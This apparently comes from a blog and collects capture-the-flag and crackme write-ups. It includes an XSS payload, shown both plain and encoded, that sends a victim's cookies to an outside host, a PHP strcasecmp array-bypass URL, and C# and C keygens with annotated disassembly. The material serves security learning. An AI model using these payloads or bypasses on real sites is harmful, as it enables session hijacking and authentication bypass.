document.location="http://webstersprodigy.net/blah?" + bdocument.cookie

Unfortunately, the javascript doesn’t seem to like quotes (or it could be an issue with my code). Regardless, we can encode it so it doesn’t need quotes using hackvertor. So then we transform this into

<script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,47,47,98,97,100,46,119,101,98,115,116,101,114,115,112,114,111,100,105,103,121,46,110,101,116,47,98,108,97,104,63,80,82,79,80,69,82,84,89,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))</script>

We then monitor on the web server to steal dog’s login. I eventually get: PHPSESSID=4ehb7kihmi774r6bf9u48h37e0, but it seems to change quickly and expires in a few minutes. Luckily I was running through burp and spidered all the pages, so the data was all in my history.

I pull back this in the inbox

         <td>Cat</td>
                      <td>PASS PLZ</td>
                      <td><a href="download.php?id=2"><img src="res/dl.png" /></a></td>
                  </tr>
                                  <tr class="open">
                      <td>Cat</td>
                      <td>WAT</td>
                      <td><a href="download.php?id=4"><img src="res/dl.png" /></a></td>
                  </tr>
                                  <tr class="open">
                      <td>Cat</td>
                      <td>Your key is ILIKECARROTS</td>
                      <td><a href="download.php?id=5"><img src="res/dl.png" /></a></td>
                  </tr>
                                  <tr class="open">
                      <td>Cat</td>
                      <td>THX</td>
                      <td><a href="download.php?id=6"><img src="res/dl.png" /></a></td>
                  </tr>

and this in the outbox

<td>Cat</td>
                      <td>Hello, this is Dog.</td>
                      <td><a href="download.php?id=1"><img src="res/dl.png" /></a></td>
                      <td><a href="delete.php?id=1"><img src="res/cross.png" /></a></td>
                  </tr>
                                  <tr class="open">
                      <td>Cat</td>
                      <td>Ok.jpg, encoded my key with your</td>
                      <td><a href="download.php?id=3"><img src="res/dl.png" /></a></td>
                      <td><a href="delete.php?id=3"><img src="res/cross.png" /></a></td>
                  </tr>

The interesting looking messages are:

Message 1 1c30112f5c670a12322e2b14794b1a3a151c0c2a535d281a34232e1b444528393a22367a33205b56
Message 2 1775567850746577
Message 4 1775567850746577
Message 3 1d192a013504000538330a3d112d494e
Message 5 6147614d6b495a5b
Message 6 1775567850746577

Some of the messages (ascii hex encoded):

I used the key “Ilikecarrots” to decrypt message 5, which contained the key to the previous message, all the way back to the key for submission.

Web 600

Everyone said this was easy, and it is if you know the “trick”, but I spent quite a bit of time trying timing account type attacks and stuff… Someone else on the team solved it, and this is what they have.

The code source shown in the phps is as follow :

<?php

  $key = "key{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}";
  $pass = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
  if ( strcasecmp( $_GET['pass'], $pass ) == 0 ) {
      echo($key);
  }
?>

According to the php manual the strcasecmp function is a Binary safe case-insensitive string comparison and returns 0 if str1 is greater than str2, and 0 if they are equal.

By passing pass[] (an array) as argument like follow (even with value null) :


http://128.238.66.216/eccbc87e4b5ce2fe28308fd9f2a7baf3/submit.php?pass[]

the strcasecmp will try comparing an array in $_GET['pass'] with the string declared locally called $pass.

This will lead strcasecmp to return a NULL result (not same as 0 in case of two strings equals) and in this case we will have : NULL==0 so the result will be :

key{this_is_how_our_scoreboard_was_owned_last_night}

Reverseme: Easy Windows Using Reflector

http://crackmes.de/users/d0min4ted/keygenme_by_d0min4ted/

In case the link goes away, here is a zip of the executable. crackme

I cheated on this one and used reflector. This was an excuse for me to try reflector out… so I started with that in mind.

The Checking code ends up being in crackme->WindowsFormsApplication4->Form1. You can deduce what most the buttons do. The relevant one turns out to be in asd. The keygen is basically straight from the verifying function found there, written in C#.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace keygen
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.Write("Name: ");
            string Name = Console.ReadLine();
            if (Name.Length < 4)
            {
                Console.WriteLine("Name must be 4 characters");
                Environment.Exit(0);
            }

            string str3 = "";
            char[] chArray = Name.ToCharArray();
            foreach (char ch in chArray)
            {
                int num2 = Convert.ToInt32(ch);
                string str4 = string.Format("{0:X}", num2);
                str3 = str3 + str4;
            }
            char[] array = str3.ToCharArray();
            Array.Reverse(array);
            string str5 = new string(array);
            if (str5.Length > 9)
            {
                str5 = str5.Remove(9, str5.Length - 9);
            }
            decimal num4 = Convert.ToDecimal(Convert.ToInt32(str5));
            double num5 = Math.Pow((double)Name.Length, 3.0);
            decimal num6 = Math.Round((decimal)(num4 * Convert.ToDecimal(num5)), 0);
            Console.WriteLine(num6);
        }
    }
}

wargames reverseme

Defcon 16 was a lot of fun.  There were a lot of fun challenges, but my favorite was probably the wargames revereme in open capture the flag.

You can download the binary here.  Be careful, it can erase you hd.

It is an elf binary, and it runs fine on Linux.  I ran in a (snapshotted) vm to hopefully mitigate some of the nasty things it could do – which luckily it did. It is packed with upx, which i found with strings, so first thing i unpacked it with upx-ucl.  From there, I backtraced it with IDA and found the correct path for the key (which is thermonuclear war -> US -> St. Petersberg run as root).  It then prints out the key before erasing your hd (more specifically your boot sector), so I put a breakpoint at the end to stop this from happening.

Anyway, this is a fun challenge.  good luck!

Windows reverseme – nothing tricky

Windows reverseme – nothing tricky, just a sort of complicated validation process. This was originally from crackmes.de, mirror of the executable here.

The easiest thing in the world is to get this thing to validate.  Just run it and put a breakpoint at 00401288, and look at the value in 00406749.  That’s it! You’re validated.

A lot more tricky was writing the keygen.  To do it, I just stepped through the code very slowly, and duplicated the logic. ugh.

Ok, now here is my keygen of the executable.  To simplify things, I just considered usernames that are 5 chacters long.  Note all the mods.  Longer usernames will work, but will require minor mods to the keygen (and I didn’t have the patience to step through the code again).

/**************************************************************************
 * keygen.c
 *
 * This crackme, while easy to break (just look at the end value) took
 * quite awhile to step through the key generating process, which includes
 * a lot of xoring with prestored constants and with itself. It's almost
 * like a small hash or something...
 *
 * To simplify things I only consider Usernames of 5 characters.  Otherwise
 * the code needs to be modified slightly
 *
 * ************************************************************************/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void usage() {
  printf("Usage: keygen <5-letter-username>\n");
  exit(0);
}

int main(int argc, char*argv[]) {

  if (argc != 2 || strlen(argv[1]) != 5) {
    usage();
  }

  char* username = argv[1];
  int i;
  /*initialize xorconst and xorop */

  /*xorconst is stored at */
  unsigned char xorconst[5];
  xorconst[0] = 0xAA;
  xorconst[1] = 0x89;
  xorconst[2] = 0xC4;
  xorconst[3] = 0xFE;
  xorconst[4] = 0x46;

  unsigned char xorop[5];
  for (i =0; i< 5; i++) {
    xorop[i] = 0;
  }

  /* calculate xorop, which is the value eventually stored at 0x40634a
     when the code finishes it's for loop at 0x401197 */
  xorop[4] = 0x46;
  for (i = 0; i<strlen(username)-1; i++) {
    xorop[i%5] = (unsigned char)(xorconst[i%5] ^ username[i]);
  }

  /*start second loop */
  /*initialize second xorconst */
  unsigned char xorconst2[5];
  xorconst2[0] = 0x78;
  xorconst2[1] = 0xF0;
  xorconst2[2] = 0xD0;
  xorconst2[3] = 0x03;
  xorconst2[4] = 0xE7;

  /* take xorop (and some more since we may need more than 5) and xor with
     the 40632D constant.
     To simplify, we'll only deal with 5 letter long unames for now */

  unsigned char xorop2[5];
  for (i = 0; i<strlen(username); i++) {
    xorop2[strlen(username)-i-1] = xorop[strlen(username)-i-1] ^ xorconst2[i];
  }

  /*xorop2 now contains the string in 0x40634a at 0x004011BD
    though it does change more */

  /*now do the third loop, starting at 0x4011d1 */
  /*initialize the third xorconst */
  unsigned char xorconst3[5];
  xorconst3[0] = 0xF7;
  xorconst3[1] = 0xFD;
  xorconst3[2] = 0xF4;
  xorconst3[3] = 0xE7;
  xorconst3[4] = 0xB9;

  unsigned char xorop3[5];
  for (i = 0; i<strlen(username); i++) {
    xorop3[i] = xorop2[i] ^ xorconst3[i];
  }

  /* xorop3 now contains 0x40634a at the end of the third loop ~ 0x4011F0 */
  /* and it appears xorop2 is stored at 0x406334 */

  /*looks like there's one more loop, then some garbage */

  /*the fourth loop xors xorop3[end to start] with xorconst4[starttoend]
    the xored result is stored in (reverse order) 40634a
    xorop3 is preserved at 406336 */

  unsigned char xorconst4[5];
  xorconst4[0] = 0xB5;
  xorconst4[1] = 0x1B;
  xorconst4[2] = 0xC9;
  xorconst4[3] = 0x50;
  xorconst4[4] = 0x73;

  unsigned char xorop4[5];
  for (i = 0; i<5; i++) {
    xorop4[5-i-1] = xorop3[5-i-1] ^ xorconst4[i];
  }

  /*xorop4 is now stored in 0040634a at the end of the fourth loop */
  /*xorop3 (al) is now stored at 406336 */

  /*loop 5 */
  /*ecx = 406345 (which is initially 0) AND 3
    bx = xorop4[i + ecx] + 00406345[i]
    final iteration:
      xorop5[0-3] = xorop4[allbutlast]
      xorop5[0] = xorop[0] + xorop[4]
    then xorop5 is stored in 406345
  */
  unsigned char xorop5[4];
  /*first copy xorop4, but xorop5[0] = xorop4[0] + xorop4[4]*/

  for (i = 0; i<4; i++) {
    xorop5[i] = xorop4[i];
  }
  xorop5[0] = xorop4[0] + xorop4[4];

  /*ends fifth loop xorop5 is in 406345 right before xorop4*/

  unsigned int remainder;

  /*this could probably be done with an __asm__, but this is fine*/
  unsigned int thisint = xorop5[3]*16*16*16*16*16*16 + xorop5[2]*16*16*16*16
                + xorop5[1]*16*16 + xorop5[0];

  char finalpass [20];
  i = 0;
  while (thisint != 0) {

    remainder = (thisint % 10) + 0x30;
    thisint = thisint / 10;
    finalpass[i] = remainder;
    i++;
  }

  int length = i;
  /*finalpass is the final password, but in reverse order */
  for(i=length-1; i>=0; i--) {
    printf("%c",finalpass[i]);
  } 

  printf("\n");
  return 0;
}

Here is a dump of the applicable assembly instructions with comments.

0040117A   > 8A0C16         MOV CL,BYTE PTR DS:[ESI+EDX]             ;  code to get 40634a stuff... has to do with length.
0040117D   . 8AD9           MOV BL,CL
0040117F   . 3298 28634000  XOR BL,BYTE PTR DS:[EAX+406328]          ;  xor with constant AA 89 C4 FE 46
00401185   . 40             INC EAX
00401186   . 83F8 05        CMP EAX,5                                ;  rehashes same 5 chars again and again
00401189   . 881C32         MOV BYTE PTR DS:[EDX+ESI],BL             ;  final compare value
0040118C   . 8888 27634000  MOV BYTE PTR DS:[EAX+406327],CL
00401192   . 75 02          JNZ SHORT crackme.00401196
00401194   . 33C0           XOR EAX,EAX
00401196   > 46             INC ESI
00401197   . 3BF5           CMP ESI,EBP                              ;  for i < len username
00401199   .^72 DF          JB SHORT crackme.0040117A
0040119B   . 33FF           XOR EDI,EDI
0040119D   . 33C9           XOR ECX,ECX
0040119F   . 85ED           TEST EBP,EBP
004011A1   . 76 26          JBE SHORT crackme.004011C9
004011A3   > 8A9F 2D634000  MOV BL,BYTE PTR DS:[EDI+40632D]
004011A9   . 8BF5           MOV ESI,EBP
004011AB   . 2BF1           SUB ESI,ECX
004011AD   . 4E             DEC ESI
004011AE   . 8A0432         MOV AL,BYTE PTR DS:[EDX+ESI]             ;  last character first in 40634a + srrlen?
004011B1   . 32D8           XOR BL,AL
004011B3   . 47             INC EDI
004011B4   . 881C32         MOV BYTE PTR DS:[EDX+ESI],BL
004011B7   . 8887 2C634000  MOV BYTE PTR DS:[EDI+40632C],AL
004011BD   . 83FF 05        CMP EDI,5
004011C0   . 75 02          JNZ SHORT crackme.004011C4
004011C2   . 33FF           XOR EDI,EDI
004011C4   > 41             INC ECX
004011C5   . 3BCD           CMP ECX,EBP
004011C7   .^72 DA          JB SHORT crackme.004011A3                ;  end loop
004011C9   > 33F6           XOR ESI,ESI
004011CB   . 33FF           XOR EDI,EDI
004011CD   . 85ED           TEST EBP,EBP                             ;  ebp begins as strlen?
004011CF   . 76 21          JBE SHORT crackme.004011F2
004011D1   > 8A043A         MOV AL,BYTE PTR DS:[EDX+EDI]             ;  0040634a + i
004011D4   . 8A8E 32634000  MOV CL,BYTE PTR DS:[ESI+406332]          ;  406332 constant???
004011DA   . 32C8           XOR CL,AL
004011DC   . 46             INC ESI
004011DD   . 880C3A         MOV BYTE PTR DS:[EDX+EDI],CL
004011E0   . 8886 31634000  MOV BYTE PTR DS:[ESI+406331],AL
004011E6   . 83FE 05        CMP ESI,5
004011E9   . 75 02          JNZ SHORT crackme.004011ED
004011EB   . 33F6           XOR ESI,ESI                              ;  esi = esi % 5
004011ED   > 47             INC EDI
004011EE   . 3BFD           CMP EDI,EBP
004011F0   .^72 DF          JB SHORT crackme.004011D1                ;  end loop
004011F2   > 33FF           XOR EDI,EDI                              ;  start fourth loop
004011F4   . 33C9           XOR ECX,ECX
004011F6   . 85ED           TEST EBP,EBP
004011F8   . 76 26          JBE SHORT crackme.00401220
004011FA   > 8A9F 37634000  MOV BL,BYTE PTR DS:[EDI+406337]
00401200   . 8BF5           MOV ESI,EBP
00401202   . 2BF1           SUB ESI,ECX
00401204   . 4E             DEC ESI
00401205   . 8A0432         MOV AL,BYTE PTR DS:[EDX+ESI]
00401208   . 32D8           XOR BL,AL
0040120A   . 47             INC EDI
0040120B   . 881C32         MOV BYTE PTR DS:[EDX+ESI],BL
0040120E   . 8887 36634000  MOV BYTE PTR DS:[EDI+406336],AL
00401214   . 83FF 05        CMP EDI,5
00401217   . 75 02          JNZ SHORT crackme.0040121B
00401219   . 33FF           XOR EDI,EDI                              ;  edi = edi%5
0040121B   > 41             INC ECX
0040121C   . 3BCD           CMP ECX,EBP
0040121E   .^72 DA          JB SHORT crackme.004011FA                ;  end fourth loop
00401220   > 8D3D 45634000  LEA EDI,DWORD PTR DS:[406345]            ;  is 406345 a constant???
00401226   . 33C0           XOR EAX,EAX                              ;  start fifth loop
00401228   . 85ED           TEST EBP,EBP
0040122A   . C705 45634000 >MOV DWORD PTR DS:[406345],0
00401234   . 76 17          JBE SHORT crackme.0040124D
00401236   > 8BC8           MOV ECX,EAX
00401238   . 83E1 03        AND ECX,3                                ;  ecx = eax%3
0040123B   . 8A1C0F         MOV BL,BYTE PTR DS:[EDI+ECX]
0040123E   . 8D340F         LEA ESI,DWORD PTR DS:[EDI+ECX]
00401241   . 8A0C02         MOV CL,BYTE PTR DS:[EDX+EAX]
00401244   . 02D9           ADD BL,CL                                ;  bl = bl + cl
00401246   . 40             INC EAX
00401247   . 3BC5           CMP EAX,EBP
00401249   . 881E           MOV BYTE PTR DS:[ESI],BL                 ;  eventually eax == this
0040124B   .^72 E9          JB SHORT crackme.00401236                ;  end fifth for loop
0040124D   > 5D             POP EBP
0040124E   . B9 0A000000    MOV ECX,0A                               ;  ecx = 10
00401253   . A1 45634000    MOV EAX,DWORD PTR DS:[406345]            ;  eax = ??
00401258   . 33DB           XOR EBX,EBX
0040125A   > 33D2           XOR EDX,EDX
0040125C   . F7F1           DIV ECX                                  ;  edx:eax = edx:eax/ecx
0040125E   . 80C2 30        ADD DL,30
00401261   . 8893 49654000  MOV BYTE PTR DS:[EBX+406549],DL          ;  move char of serial here
00401267   . 43             INC EBX
00401268   . 85C0           TEST EAX,EAX
0040126A   .^75 EE          JNZ SHORT crackme.0040125A
0040126C   . 68 49654000    PUSH crackme.00406549                    ; /String = ""
00401271   . E8 86010000    CALL <JMP.&kernel32.lstrlenA>            ; \lstrlenA
00401276   . 33DB           XOR EBX,EBX
00401278   > 8A88 48654000  MOV CL,BYTE PTR DS:[EAX+406548]
0040127E   . 888B 49674000  MOV BYTE PTR DS:[EBX+406749],CL
00401284   . 43             INC EBX
00401285   . 48             DEC EAX
00401286   .^75 F0          JNZ SHORT crackme.00401278
00401288   . 68 49674000    PUSH crackme.00406749                    ; /String2 = ""
0040128D   . 68 49654000    PUSH crackme.00406549                    ; |String1 = crackme.00406549
00401292   . E8 5F010000    CALL <JMP.&kernel32.lstrcpyA>            ; \lstrcpyA
00401297   . 68 00020000    PUSH 200                                 ; /Count = 200 (512.)
0040129C   . 68 49694000    PUSH crackme.00406949                    ; |Buffer = crackme.00406949
004012A1   . 6A 64          PUSH 64                                  ; |ControlID = 64 (100.)
004012A3   . FF75 08        PUSH DWORD PTR SS:[EBP+8]                ; |hWnd
004012A6   . E8 E5000000    CALL <JMP.&user32.GetDlgItemTextA>       ; \GetDlgItemTextA
004012AB   . 68 49654000    PUSH crackme.00406549                    ; /String2 = ""
004012B0   . 68 49694000    PUSH crackme.00406949                    ; |String1 = ""
004012B5   . E8 36010000    CALL <JMP.&kernel32.lstrcmpA>            ; \lstrcmpA
004012BA   . 0BC0           OR EAX,EAX
004012BC   . 75 16          JNZ SHORT crackme.004012D4
004012BE   . 6A 40          PUSH 40                                  ; /Style = MB_OK|MB_ICONASTERISK|MB_APPLMODAL
004012C0   . 68 DB624000    PUSH crackme.004062DB                    ; |Title = "Good boy..."
004012C5   . 68 AC624000    PUSH crackme.004062AC                    ; |Text = "Yep, thats the right code!
Go write a keygen!"
004012CA   . FF75 08        PUSH DWORD PTR SS:[EBP+8]                ; |hOwner
004012CD   . E8 CA000000    CALL <JMP.&user32.MessageBoxA>           ; \MessageBoxA
004012D2   . EB 14          JMP SHORT crackme.004012E8
004012D4   > 6A 10          PUSH 10                                  ; /Style = MB_OK|MB_ICONHAND|MB_APPLMODAL
004012D6   . 68 06634000    PUSH crackme.00406306                    ; |Title = "Bad boy..."
004012DB   . 68 E7624000    PUSH crackme.004062E7                    ; |Text = "Nope, thats not it!
Try again"
004012E0   . FF75 08        PUSH DWORD PTR SS:[EBP+8]                ; |hOwner
004012E3   . E8 B4000000    CALL <JMP.&user32.MessageBoxA>           ; \MessageBoxA
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